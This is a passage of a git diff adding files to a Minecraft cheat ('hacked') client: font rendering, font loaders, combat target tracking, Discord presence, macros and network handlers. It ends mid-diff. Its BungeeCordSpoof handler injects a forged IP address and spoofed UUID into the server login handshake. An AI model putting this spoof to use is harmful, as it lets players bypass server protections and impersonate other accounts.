DisplayFontWidths(CFontRenderer font,String str) { + return DisplayFontWidths(str,font); + } + public int DisplayFontWidths(String str, CFontRenderer font) { + str = LanguageManager.INSTANCE.get(LanguageManager.INSTANCE.replace(str)); + int x=0; + for(int iF = 0; iF < str.length(); ++iF) { + String s = String.valueOf(str.toCharArray()[iF]); + if (s.contains("§") && iF + 1 <= str.length()) { + iF++; + } else if (isChinese(s.charAt(0))) { + x += (float)font.getStringWidth(s); + } else { + x += (float)Fonts.font35.getStringWidth(s); + } + } + return x+5; + } + + public static void DisplayFont(CFontRenderer font, String str, float x, float y, int color) { + DisplayFont(str, x, y, color, font); + } + + public static void DisplayFonts(CFontRenderer font, String str, float x, float y, int color) { + DisplayFont(str, x, y, color, font); + } + + public float DisplayFont2(CFontRenderer font,String str, float x, float y, int color,boolean shadow) { + if(shadow) + return DisplayFont(str,x,y,color, true,font); + else{ + return DisplayFont(str,x,y,color,font); + } + } + public static float DisplayFont(String str, float x, float y, int color,boolean shadow, CFontRenderer font) { + str = LanguageManager.INSTANCE.get(LanguageManager.INSTANCE.replace(str)); + str=" "+str; + //ClientUtils.INSTANCE.displayAlert(str); + for(int iF = 0; iF < str.length(); ++iF) { + String s = String.valueOf(str.toCharArray()[iF]); + if (s.contains("§") && iF + 1 <= str.length()) { + color = getColor(String.valueOf(str.toCharArray()[iF + 1])); + iF++; + } else if (isChinese(s.charAt(0))) { + font.drawString(s, x+0.5f, y+1.5f, new Color(0,0,0,100).getRGB()); + font.drawString(s, x-0.5f, y+0.5f, color); + x += (float)font.getStringWidth(s); + } else { + Fonts.font35.drawString(s, x+1.5f, y+2, new Color(0,0,0,50).getRGB()); + Fonts.font35.drawString(s, x+0.5f, y+1, color); + x += (float)Fonts.font35.getStringWidth(s); + } + } + return x; + //return font.drawString(str, x, y, color); + } + + public static float DisplayFont(String str, float x, float y, int color, CFontRenderer font) { + str = LanguageManager.INSTANCE.get(LanguageManager.INSTANCE.replace(str)); + str=" "+str; + for(int iF = 0; iF < str.length(); ++iF) { + String s = String.valueOf(str.toCharArray()[iF]); + if (s.contains("§") && iF + 1 <= str.length()) { + color = getColor(String.valueOf(str.toCharArray()[iF + 1])); + iF++; + } else if (isChinese(s.charAt(0))) { + font.drawString(s, x-0.5f, y+1, color); + x += (float)font.getStringWidth(s); + } else{ + Fonts.font35.drawString(s, x+0.5f, y+1, color); + x += (float)Fonts.font35.getStringWidth(s); + } + } + return x; + } + + public float DisplayFonts(String str, float x, float y, int color, CFontRenderer font) { + str = LanguageManager.INSTANCE.get(LanguageManager.INSTANCE.replace(str)); + str=" "+str; + for(int iF = 0; iF < str.length(); ++iF) { + String s = String.valueOf(str.toCharArray()[iF]); + if (s.contains("§") && iF + 1 <= str.length()) { + color = getColor(String.valueOf(str.toCharArray()[iF + 1])); + iF++; + } else if (isChinese(s.charAt(0))) { + font.drawString(s, x-0.5f, y+1, color); + x += (float)font.getStringWidth(s); + } else{ + Fonts.font35.drawString(s, x+0.5f, y+1, color); + x += (float)Fonts.font35.getStringWidth(s); + } + } + return x; + } + + public static int getColor(String str) { + switch(str.hashCode()) { + case 48: + if (str.equals("0")) { + return (new Color(0, 0, 0)).getRGB(); + } + break; + case 49: + if (str.equals("1")) { + return (new Color(0, 0, 189)).getRGB(); + } + break; + case 50: + if (str.equals("2")) { + return (new Color(0, 192, 0)).getRGB(); + } + break; + case 51: + if (str.equals("3")) { + return (new Color(0, 190, 190)).getRGB(); + } + break; + case 52: + if (str.equals("4")) { + return (new Color(190, 0, 0)).getRGB(); + } + break; + case 53: + if (str.equals("5")) { + return (new Color(189, 0, 188)).getRGB(); + } + break; + case 54: + if (str.equals("6")) { + return (new Color(218, 163, 47)).getRGB(); + } + break; + case 55: + if (str.equals("7")) { + return (new Color(190, 190, 190)).getRGB(); + } + break; + case 56: + if (str.equals("8")) { + return (new Color(63, 63, 63)).getRGB(); + } + break; + case 57: + if (str.equals("9")) { + return (new Color(63, 64, 253)).getRGB(); + } + break; + case 97: + if (str.equals("a")) { + return (new Color(63, 254, 63)).getRGB(); + } + break; + case 98: + if (str.equals("b")) { + return (new Color(62, 255, 254)).getRGB(); + } + break; + case 99: + if (str.equals("c")) { + return (new Color(254, 61, 62)).getRGB(); + } + break; + case 100: + if (str.equals("d")) { + return (new Color(255, 64, 255)).getRGB(); + } + break; + case 101: + if (str.equals("e")) { + return (new Color(254, 254, 62)).getRGB(); + } + break; + case 102: + if (str.equals("f")) { + return (new Color(255, 255, 255)).getRGB(); + } + } + + return (new Color(255, 255, 255)).getRGB(); + } + /* JADX WARN: Type inference failed for: r0v21, types: [double] */ + /* JADX WARN: Type inference failed for: r0v55, types: [double] */ + + public float drawString(String text, float x, float y, int color, boolean shadow) { + return drawString(text, (double) x, (double) y,color,shadow); + } + public float drawString(String text, double x, double y, int color, boolean shadow) { + GlStateManager.enableBlend(); + GlStateManager.disableBlend(); + double x2 = x - 1.0d; + if (text == null) { + return 0.0f; + } + if (color == 553648127) { + color = 16777215; + } + if ((color & -67108864) == 0) { + color |= -16777216; + } + if (shadow) { + color = new Color(0, 0, 0).getRGB(); + } + CFont.CharData[] currentData = this.charData; + float alpha = ((float) ((color >> 24) & 255)) / 255.0f; + boolean bold = false; + boolean italic = false; + boolean strikethrough = false; + boolean underline = false; + char c = (char) (x2 * 2.0d); + double y2 = (y - 3.0d) * 2.0d; + GL11.glPushMatrix(); + GlStateManager.scale(0.5d, 0.5d, 0.5d); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(770, 771); + GlStateManager.color(((float) ((color >> 16) & 255)) / 255.0f, ((float) ((color >> 8) & 255)) / 255.0f, ((float) (color & 255)) / 255.0f, alpha); + int size = text.length(); + GlStateManager.enableTexture2D(); + GlStateManager.bindTexture(this.tex.getGlTextureId()); + GL11.glBindTexture(3553, this.tex.getGlTextureId()); + int i = 0; + while (i < size) { + char character = text.charAt(i); + if (character == '\u00a7') { + int colorIndex = 21; + try { + colorIndex = "0123456789abcdefklmnor".indexOf(text.charAt(i + 1)); + } catch (Exception e) { + e.printStackTrace(); + } + if (colorIndex < 16) { + bold = false; + italic = false; + underline = false; + strikethrough = false; + GlStateManager.bindTexture(this.tex.getGlTextureId()); + currentData = this.charData; + if (colorIndex < 0) { + colorIndex = 15; + } + if (shadow) { + colorIndex += 16; + } + int colorcode = this.colorCode[colorIndex]; + GlStateManager.color(((float) ((colorcode >> 16) & 255)) / 255.0f, ((float) ((colorcode >> 8) & 255)) / 255.0f, ((float) (colorcode & 255)) / 255.0f, alpha); + } else if (colorIndex != 16) { + if (colorIndex == 17) { + bold = true; + if (italic) { + GlStateManager.bindTexture(this.texItalicBold.getGlTextureId()); + currentData = this.boldItalicChars; + } else { + GlStateManager.bindTexture(this.texBold.getGlTextureId()); + currentData = this.boldChars; + } + } else if (colorIndex == 18) { + strikethrough = true; + } else if (colorIndex == 19) { + underline = true; + } else if (colorIndex == 20) { + italic = true; + if (bold) { + GlStateManager.bindTexture(this.texItalicBold.getGlTextureId()); + currentData = this.boldItalicChars; + } else { + GlStateManager.bindTexture(this.texItalic.getGlTextureId()); + currentData = this.italicChars; + } + } else { + bold = false; + italic = false; + underline = false; + strikethrough = false; + GlStateManager.color(((float) ((color >> 16) & 255)) / 255.0f, ((float) ((color >> 8) & 255)) / 255.0f, ((float) (color & 255)) / 255.0f, alpha); + GlStateManager.bindTexture(this.tex.getGlTextureId()); + currentData = this.charData; + } + } + i++; + } else if (character < currentData.length) { + GL11.glBegin(4); + drawChar(currentData, character, (float) c, (float) y2); + GL11.glEnd(); + if (strikethrough) { + drawLine(c, y2 + ((double) (currentData[character].height / 2)), (c + ((double) currentData[character].width)) - 8.0d, y2 + ((double) (currentData[character].height / 2))); + } + if (underline) { + drawLine(c, (y2 + ((double) currentData[character].height)) - 2.0d, (c + ((double) currentData[character].width)) - 8.0d, (y2 + ((double) currentData[character].height)) - 2.0d); + } + c += (double) ((currentData[character].width - 8) + this.charOffset); + } + i++; + } + GL11.glHint(3155, 4352); + GL11.glPopMatrix(); + return ((float) c) / 2.0f; + } + public int drawStringi(String text, double x, double y, int color, boolean shadow) { + GlStateManager.enableBlend(); + GlStateManager.disableBlend(); + double x2 = x - 1.0d; + if (text == null) { + return 0; + } + if (color == 553648127) { + color = 16777215; + } + if ((color & -67108864) == 0) { + color |= -16777216; + } + if (shadow) { + color = new Color(0, 0, 0).getRGB(); + } + CFont.CharData[] currentData = this.charData; + float alpha = ((float) ((color >> 24) & 255)) / 255.0f; + boolean bold = false; + boolean italic = false; + boolean strikethrough = false; + boolean underline = false; + char c = (char) (x2 * 2.0d); + double y2 = (y - 3.0d) * 2.0d; + GL11.glPushMatrix(); + GlStateManager.scale(0.5d, 0.5d, 0.5d); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(770, 771); + GlStateManager.color(((float) ((color >> 16) & 255)) / 255.0f, ((float) ((color >> 8) & 255)) / 255.0f, ((float) (color & 255)) / 255.0f, alpha); + int size = text.length(); + GlStateManager.enableTexture2D(); + GlStateManager.bindTexture(this.tex.getGlTextureId()); + GL11.glBindTexture(3553, this.tex.getGlTextureId()); + int i = 0; + while (i < size) { + char character = text.charAt(i); + if (character == '\u00a7') { + int colorIndex = 21; + try { + colorIndex = "0123456789abcdefklmnor".indexOf(text.charAt(i + 1)); + } catch (Exception e) { + e.printStackTrace(); + } + if (colorIndex < 16) { + bold = false; + italic = false; + underline = false; + strikethrough = false; + GlStateManager.bindTexture(this.tex.getGlTextureId()); + currentData = this.charData; + if (colorIndex < 0) { + colorIndex = 15; + } + if (shadow) { + colorIndex += 16; + } + int colorcode = this.colorCode[colorIndex]; + GlStateManager.color(((float) ((colorcode >> 16) & 255)) / 255.0f, ((float) ((colorcode >> 8) & 255)) / 255.0f, ((float) (colorcode & 255)) / 255.0f, alpha); + } else if (colorIndex != 16) { + if (colorIndex == 17) { + bold = true; + if (italic) { + GlStateManager.bindTexture(this.texItalicBold.getGlTextureId()); + currentData = this.boldItalicChars; + } else { + GlStateManager.bindTexture(this.texBold.getGlTextureId()); + currentData = this.boldChars; + } + } else if (colorIndex == 18) { + strikethrough = true; + } else if (colorIndex == 19) { + underline = true; + } else if (colorIndex == 20) { + italic = true; + if (bold) { + GlStateManager.bindTexture(this.texItalicBold.getGlTextureId()); + currentData = this.boldItalicChars; + } else { + GlStateManager.bindTexture(this.texItalic.getGlTextureId()); + currentData = this.italicChars; + } + } else { + bold = false; + italic = false; + underline = false; + strikethrough = false; + GlStateManager.color(((float) ((color >> 16) & 255)) / 255.0f, ((float) ((color >> 8) & 255)) / 255.0f, ((float) (color & 255)) / 255.0f, alpha); + GlStateManager.bindTexture(this.tex.getGlTextureId()); + currentData = this.charData; + } + } + i++; + } else if (character < currentData.length) { + GL11.glBegin(4); + drawChar(currentData, character, (float) c, (float) y2); + GL11.glEnd(); + if (strikethrough) { + drawLine(c, y2 + ((double) (currentData[character].height / 2)), (c + ((double) currentData[character].width)) - 8.0d, y2 + ((double) (currentData[character].height / 2))); + } + if (underline) { + drawLine(c, (y2 + ((double) currentData[character].height)) - 2.0d, (c + ((double) currentData[character].width)) - 8.0d, (y2 + ((double) currentData[character].height)) - 2.0d); + } + c += (double) ((currentData[character].width - 8) + this.charOffset); + } + i++; + } + GL11.glHint(3155, 4352); + GL11.glPopMatrix(); + return ((int) c) / 2; + } + + @Override // net.ccbluex.liquidbounce.CFont + public int getStringWidth(String text) { + if (text == null) { + return 0; + } + int width = 0; + CFont.CharData[] currentData = this.charData; + boolean bold = false; + boolean italic = false; + int size = text.length(); + int i = 0; + while (i < size) { + char character = text.charAt(i); + if (character == '\u00a7') { + int colorIndex = "0123456789abcdefklmnor".indexOf(character); + bold = false; + italic = false; + i++; + } else if (character < currentData.length) { + width += (currentData[character].width - 8) + this.charOffset; + } + i++; + } + return width / 2; + } + + @Override // net.ccbluex.liquidbounce.CFont + public void setFont(Font font) { + setFont(font); + setupBoldItalicIDs(); + } + + @Override // net.ccbluex.liquidbounce.CFont + public void setAntiAlias(boolean antiAlias) { + setAntiAlias(antiAlias); + setupBoldItalicIDs(); + } + + @Override // net.ccbluex.liquidbounce.CFont + public void setFractionalMetrics(boolean fractionalMetrics) { + setFractionalMetrics(fractionalMetrics); + setupBoldItalicIDs(); + } + + private void setupBoldItalicIDs() { + this.texBold = setupTexture(this.font.deriveFont(Font.BOLD), this.antiAlias, this.fractionalMetrics, this.boldChars); + this.texItalic = setupTexture(this.font.deriveFont(Font.ITALIC), this.antiAlias, this.fractionalMetrics, this.italicChars); + } + + private void drawLine(double x, double y, double x1, double y1) { + GL11.glDisable(3553); + GL11.glLineWidth((float) 1.0); + GL11.glBegin(1); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x1, y1); + GL11.glEnd(); + GL11.glEnable(3553); + } + + public List<String> wrapWords(String text, double width) { + ArrayList<String> finalWords = new ArrayList<>(); + if (((double) getStringWidth(text)) > width) { + String[] words = text.split(" "); + String currentWord = ""; + char c = '\uffff'; + for (String word : words) { + for (int i = 0; i < word.toCharArray().length; i++) { + if (word.toCharArray()[i] == '\u00a7' && i < word.toCharArray().length - 1) { + c = word.toCharArray()[i + 1]; + } + } + if (((double) getStringWidth(currentWord + word + " ")) < width) { + currentWord = currentWord + word + " "; + } else { + finalWords.add(currentWord); + currentWord = '\u00a7' + c + word + " "; + } + } + if (currentWord.length() > 0) { + if (((double) getStringWidth(currentWord)) < width) { + finalWords.add('\u00a7' + c + currentWord + " "); + } else { + finalWords.addAll(formatString(currentWord, width)); + } + } + } else { + finalWords.add(text); + } + return finalWords; + } + + public List<String> formatString(String string, double width) { + ArrayList<String> finalWords = new ArrayList<>(); + String currentWord = ""; + int lastColorCode = 65535; + char[] chars = string.toCharArray(); + for (int i = 0; i < chars.length; i++) { + char c = chars[i]; + if (c == '\u00a7' && i < chars.length - 1) { + lastColorCode = chars[i + 1]; + } + if (((double) getStringWidth(currentWord + c)) < width) { + currentWord = currentWord + c; + } else { + finalWords.add(currentWord); + currentWord = String.valueOf(167 + lastColorCode) + c; + } + } + if (currentWord.length() > 0) { + finalWords.add(currentWord); + } + return finalWords; + } + + private void setupMinecraftColorcodes() { + for (int index = 0; index < 32; index++) { + int noClue = ((index >> 3) & 1) * 85; + int red = (((index >> 2) & 1) * Opcodes.TABLESWITCH) + noClue; + int green = (((index >> 1) & 1) * Opcodes.TABLESWITCH) + noClue; + int blue = (((index) & 1) * Opcodes.TABLESWITCH) + noClue; + if (index == 6) { + red += 85; + } + if (index >= 16) { + red /= 4; + green /= 4; + blue /= 4; + } + this.colorCode[index] = ((red & 255) << 16) | ((green & 255) << 8) | (blue & 255); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/font/FontLoaders.java b/src/main/java/net/ccbluex/liquidbounce/font/FontLoaders.java new file mode 100644 index 0000000..a7f0350 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/font/FontLoaders.java @@ -0,0 +1,126 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.font; + +import net.minecraft.client.Minecraft; +import net.minecraft.util.ResourceLocation; + +import java.awt.*; +import java.util.ArrayList; +public abstract class FontLoaders { + public static final CFontRenderer F14 = new CFontRenderer(getFont(14), true, true); + public static CFontRenderer F16 = new CFontRenderer(getFont(16), true, true); + public static final CFontRenderer F18 = new CFontRenderer(getFont(18), true, true); + public static final CFontRenderer F20 = new CFontRenderer(getFont(20), true, true); + public static final CFontRenderer F22 = new CFontRenderer(getFont(22), true, true); + public static CFontRenderer F23 = new CFontRenderer(getFont(23), true, true); + public static CFontRenderer F24 = new CFontRenderer(getFont(24), true, true); + public static final CFontRenderer F30 = new CFontRenderer(getFont(30), true, true); + public static final CFontRenderer F40 = new CFontRenderer(getFont(40), true, true); + public static CFontRenderer F50 = new CFontRenderer(getFont(50), true, true); + public static final CFontRenderer C12 = new CFontRenderer(getComfortaa(12), true, true); + public static final CFontRenderer C14 = new CFontRenderer(getComfortaa(14), true, true); + public static final CFontRenderer C16 = new CFontRenderer(getComfortaa(16), true, true); + public static final CFontRenderer C18 = new CFontRenderer(getComfortaa(18), true, true); + public static CFontRenderer C20 = new CFontRenderer(getComfortaa(20), true, true); + public static CFontRenderer C22 = new CFontRenderer(getComfortaa(22), true, true); + public static CFontRenderer M12 = new CFontRenderer(getMojangles(12), true, true); + public static final CFontRenderer M16 = new CFontRenderer(getMojangles(16), true, true); + public static CFontRenderer M20 = new CFontRenderer(getMojangles(20), true, true); + public static CFontRenderer M30 = new CFontRenderer(getMojangles(30), true, true); + public static CFontRenderer M35 = new CFontRenderer(getMojangles(35), true, true); + public static CFontRenderer M40 = new CFontRenderer(getMojangles(40), true, true); + public static CFontRenderer SF15 = new CFontRenderer(getSF(15), true, true); + public static CFontRenderer SF17 = new CFontRenderer(getSF(17), true, true); + public static CFontRenderer SF20 = new CFontRenderer(getSF(20), true, true); + public static CFontRenderer SF25 = new CFontRenderer(getSF(25), true, true); + public static CFontRenderer SF30 = new CFontRenderer(getSF(30), true, true); + public static CFontRenderer SF35 = new CFontRenderer(getSF(35), true, true); + public static CFontRenderer SF40 = new CFontRenderer(getSF(40), true, true); + public static CFontRenderer SF45 = new CFontRenderer(getSF(45), true, true); + public static CFontRenderer SF50 = new CFontRenderer(getSF(50), true, true); + public static final CFontRenderer JELLO20 = new CFontRenderer(getJELLO(20), true, true); + public static final CFontRenderer JELLO30 = new CFontRenderer(getJELLO(30), true, true); + public static CFontRenderer Logo = new CFontRenderer(getNovo(40), true, true); + public static final ArrayList<CFontRenderer> fonts = new ArrayList<>(); + + public static CFontRenderer getFontRender(int size) { + return fonts.get(size - 10); + } + + public static Font getFont(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/regular.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + + public static Font getComfortaa(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/regular.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + + public static Font getNovo(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/regular.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + + public static Font getMojangles(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/mojangles.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + + + public static Font getSF(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/SF.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + public static Font getJELLO(int size) { + Font font; + try { + font = Font.createFont(0, Minecraft.getMinecraft().getResourceManager().getResource(new ResourceLocation("fdpclient/font/jello.ttf")).getInputStream()).deriveFont(Font.PLAIN, (float) size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/combat/CombatManager.kt b/src/main/java/net/ccbluex/liquidbounce/handler/combat/CombatManager.kt new file mode 100644 index 0000000..2d1db3b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/combat/CombatManager.kt @@ -0,0 +1,104 @@ +package net.ccbluex.liquidbounce.handler.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer + +class CombatManager : Listenable, MinecraftInstance() { + private val lastAttackTimer = MSTimer() + + var inCombat = false + private set + var target: EntityLivingBase? = null + private set + val attackedEntityList = mutableListOf<EntityLivingBase>() + val focusedPlayerList = mutableListOf<EntityPlayer>() + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer == null) return + MovementUtils.updateBlocksPerSecond() + + // bypass java.util.ConcurrentModificationException + attackedEntityList.map { it }.forEach { + if (it.isDead) { + FDPClient.eventManager.callEvent(EntityKilledEvent(it)) + attackedEntityList.remove(it) + } + } + + inCombat = false + if (!lastAttackTimer.hasTimePassed(250)) { + inCombat = true + return + } + + if (target != null) { + if (mc.thePlayer.getDistanceToEntity(target) > 7 || !inCombat || target!!.isDead) { + target = null + } else { + inCombat = true + } + } + } + + @EventTarget + fun onAttack(event: AttackEvent) { + val target = event.targetEntity + + if (target is EntityLivingBase && EntityUtils.isSelected(target, true)) { + this.target = target + if (!attackedEntityList.contains(target)) { + attackedEntityList.add(target) + } + } + lastAttackTimer.reset() + } + + @EventTarget + fun onWorld(event: WorldEvent) { + inCombat = false + target = null + attackedEntityList.clear() + focusedPlayerList.clear() + } + +// @EventTarget +// fun onPacket(event: PacketEvent) { +// val packet = event.packet +// if(packet is S02PacketChat) { +// val raw = packet.chatComponent.unformattedText +// val found = hackerWords.filter { raw.contains(it, true) } +// if(raw.contains(mc.session.username, true) && found.isNotEmpty()) { +// LiquidBounce.hud.addNotification(Notification("Someone call you a hacker!", found.joinToString(", "), NotifyType.ERROR)) +// } +// } +// } + + fun getNearByEntity(radius: Float): EntityLivingBase? { + return try { + mc.theWorld.loadedEntityList + .filter { mc.thePlayer.getDistanceToEntity(it) < radius && EntityUtils.isSelected(it, true) } + .sortedBy { it.getDistanceToEntity(mc.thePlayer) }[0] as EntityLivingBase? + } catch (e: Exception) { + null + } + } + + fun isFocusEntity(entity: EntityPlayer): Boolean { + if (focusedPlayerList.isEmpty()) { + return true // no need 2 focus + } + + return focusedPlayerList.contains(entity) + } + + override fun handleEvents() = true +} diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/discord/DiscordRPC.kt b/src/main/java/net/ccbluex/liquidbounce/handler/discord/DiscordRPC.kt new file mode 100644 index 0000000..06177b3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/discord/DiscordRPC.kt @@ -0,0 +1,73 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.handler.discord + +import com.jagrosh.discordipc.IPCClient +import com.jagrosh.discordipc.IPCListener +import com.jagrosh.discordipc.entities.RichPresence +import com.jagrosh.discordipc.entities.pipe.PipeStatus +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.modules.client.DiscordRPCModule +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.ClientUtils.mc +import org.json.JSONObject +import java.time.OffsetDateTime +import kotlin.concurrent.thread + +object DiscordRPC { + private val ipcClient = IPCClient(1021236965108109333) + private val timestamp = OffsetDateTime.now() + private var running = false + private var fdpwebsite = "fdpinfo.github.io - " + + fun run() { + ipcClient.setListener(object : IPCListener { + override fun onReady(client: IPCClient?) { + running = true + thread { + while (running) { + update() + try { + Thread.sleep(1000L) + } catch (ignored: InterruptedException) { + } + } + } + } + + override fun onClose(client: IPCClient?, json: JSONObject?) { + running = false + } + }) + try { + ipcClient.connect() + } catch (e: Exception) { + ClientUtils.logError("DiscordRPC failed to start") + } catch (e: RuntimeException) { + ClientUtils.logError("DiscordRPC failed to start") + } + } + + private fun update() { + val builder = RichPresence.Builder() + val discordRPCModule = FDPClient.moduleManager[DiscordRPCModule::class.java]!! + builder.setStartTimestamp(timestamp) + builder.setLargeImage(if (discordRPCModule.animated.get()){"https://skiddermc.github.io/repo/skiddermc/FDPclient/dcrpc/fdp.gif"} else {"https://skiddermc.github.io/repo/skiddermc/FDPclient/dcrpc/fdp.png"}) + builder.setDetails(fdpwebsite + FDPClient.CLIENT_VERSION) + ServerUtils.getRemoteIp().also { + val str = (if(discordRPCModule.showServerValue.get()) "Server: $it\n" else "\n") + (if(discordRPCModule.showNameValue.get()) "IGN: ${if(mc.thePlayer != null) mc.thePlayer.name else mc.session.username}\n" else "\n") + (if(discordRPCModule.showHealthValue.get()) "HP: ${mc.thePlayer.health}\n" else "\n") + (if(discordRPCModule.showModuleValue.get()) "Enable: ${FDPClient.moduleManager.modules.count{ it.state }} of ${FDPClient.moduleManager.modules.size} Modules\n" else "\n") + (if(discordRPCModule.showOtherValue.get()) "Time: ${if(mc.isSingleplayer) "SinglePlayer\n" else SessionUtils.getFormatSessionTime()} Kills: ${StatisticsUtils.getKills()} Deaths: ${StatisticsUtils.getDeaths()}\n" else "\n") + builder.setState(if(it.equals("Injecting", true)) "Injecting" else str) + } + + // Check ipc client is connected and send rpc + if (ipcClient?.status == PipeStatus.CONNECTED) + ipcClient?.sendRichPresence(builder.build()) + } + + fun stop() { + if (ipcClient.status == PipeStatus.CONNECTED) ipcClient.close() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/macro/Macro.kt b/src/main/java/net/ccbluex/liquidbounce/handler/macro/Macro.kt new file mode 100644 index 0000000..f2fe50e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/macro/Macro.kt @@ -0,0 +1,9 @@ +package net.ccbluex.liquidbounce.handler.macro + +import net.ccbluex.liquidbounce.FDPClient + +class Macro(val key: Int, val command: String) { + fun exec() { + FDPClient.commandManager.executeCommands(command) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/macro/MacroManager.kt b/src/main/java/net/ccbluex/liquidbounce/handler/macro/MacroManager.kt new file mode 100644 index 0000000..6eb5544 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/macro/MacroManager.kt @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.handler.macro + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.KeyEvent +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +class MacroManager : Listenable, MinecraftInstance() { + val macros = ArrayList<Macro>() + + @EventTarget + fun onKey(event: KeyEvent) { + macros.filter { it.key == event.key }.forEach { it.exec() } + } + + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/network/AutoReconnect.kt b/src/main/java/net/ccbluex/liquidbounce/handler/network/AutoReconnect.kt new file mode 100644 index 0000000..76b7fca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/network/AutoReconnect.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.handler.network + +object AutoReconnect { + const val MAX = 60000 + const val MIN = 1000 + + var isEnabled = true + var delay = 5000 + set(value) { + isEnabled = value < MAX + + field = value + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/network/BungeeCordSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/handler/network/BungeeCordSpoof.kt new file mode 100644 index 0000000..7645993 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/network/BungeeCordSpoof.kt @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.handler.network + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.handler.other.UUIDSpoofer +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.network.EnumConnectionState +import net.minecraft.network.handshake.client.C00Handshake +import java.util.* + +class BungeeCordSpoof : MinecraftInstance(), Listenable { + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C00Handshake && enabled && packet.requestedState == EnumConnectionState.LOGIN) + packet.ip = "${packet.ip}\u0000${getRandomIpPart()}.${getRandomIpPart()}.${getRandomIpPart()}.${getRandomIpPart()}\u0000${UUIDSpoofer.getUUID()}" + } + + private fun getRandomIpPart(): String = RANDOM.nextInt(256).toString() + + override fun handleEvents(): Boolean = true + + companion object { + private val RANDOM = Random() + + @JvmField + var enabled = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientFixes.kt b/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientFixes.kt new file mode 100644 index 0000000..9604a6d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/handler/network/ClientFixes.kt @@ -0,0 